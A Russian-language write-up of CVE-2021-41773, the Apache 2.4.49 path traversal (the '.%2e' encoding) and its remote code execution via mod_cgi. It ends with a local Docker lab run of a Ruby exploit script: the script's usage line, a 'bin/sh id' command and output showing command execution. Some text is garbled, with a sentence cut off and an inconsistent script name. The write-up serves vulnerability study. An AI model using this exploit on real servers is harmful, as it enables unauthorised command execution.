
CVE-2021-41773 | Apache HTTP Server 2.4.49 уязвим к атакам Path Traversal и удаленного выполнения кода
CVE-2021-41773 Согласно данным Национальной базы данных уязвимостей (NVD) CVE-2021-41773, Apache HTTP Server 2.4.49 уязвим для атак типа обхода пути и удалённого выполнения кода.
Уязвимость обхода пути была внесена из-за нового изменения кода, добавленного для нормализации пути, т.е. для URL-путей, чтобы удалять нежелательные или опасные части из имени пути,
но его оказалось недостаточно для обнаружения различных техник кодирования символов обхода пути «dot-dot-slash (../)» Для предотвращения атак обхода пути функция нормализации, которая отвечает за разрешение URL-кодированных значений из запрошенного URI, обрабатывала значения Unicode по одному за раз. Поэтому, когда вторая точка кодируется как %2e, логика не распознаёт %2e как точку и не декодирует её; это превращает символы ../ в .%2e/ и обходит проверку.
Помимо обхода проверки пути, для того чтобы сервер Apache HTTP был уязвим, конфигурация HTTP-сервера должна либо содержать директиву directory для всей файловой системы сервера как Require all granted, либо директива directory должна полностью отсутствовать в файле конфигурации. Таким образом, обход проверки dot-dot как .%2e в сочетании с неправильно настроенной директивой directory позволяет атакующему читать произвольные файлы, например passwd, из файловой системы уязвимого сервера.
Хотя CVE-2021-41773 изначально был задокументирован как уязвимость обхода пути и раскрытия файлов, дополнительные исследования показали, что эту уязвимость можно дополнительно использовать для удалённого выполнения кода, когда на сервере Apache HTTP включён модуль mod_cgi; это позволяет атакующему использовать уязвимость обхода пути и вызывать любой двоичный файл в системе с помощью HTTP POST-запросов.
отключён на сервере Apache HTTP путём комментирования указанной выше строки в файле конфигурации. Следовательно, когда mod_cgi включён и к директиве directory файловой системы применяется конфигурация «Require all granted», атакующий может удалённо выполнять команды на сервере Apache.
docker run -dit --name Apache -p 83:80 b0x
cp /bin/sh /usr/bin/
ruby CVE-2021-41773.rb
# c c wWw wWw -2021-41773
# (OO) (O) (O) wWw
# ,'.--.) ( / ) (O)_
# / //_|_ / / .' __)
# | ___ / / ( _)
# '. ) `--' / `.__)
# `-.' `-..-'
# Author:Habib
# ruby CVE-2021-41773.rb target_url dir command
# ruby CVE-2021-41773.rb http://localhost bin/sh whoami
ruby CVE-2121-41773.rb http://localhost:83
Target: http://localhost:83 is vulnerable
Command:
ruby CVE-2121-41773.rb http://localhost:83 bin/sh id Target: http://localhost:83 is vulnerable
Command: uid=1(daemon) gid=1(daemon) groups=1(daemon)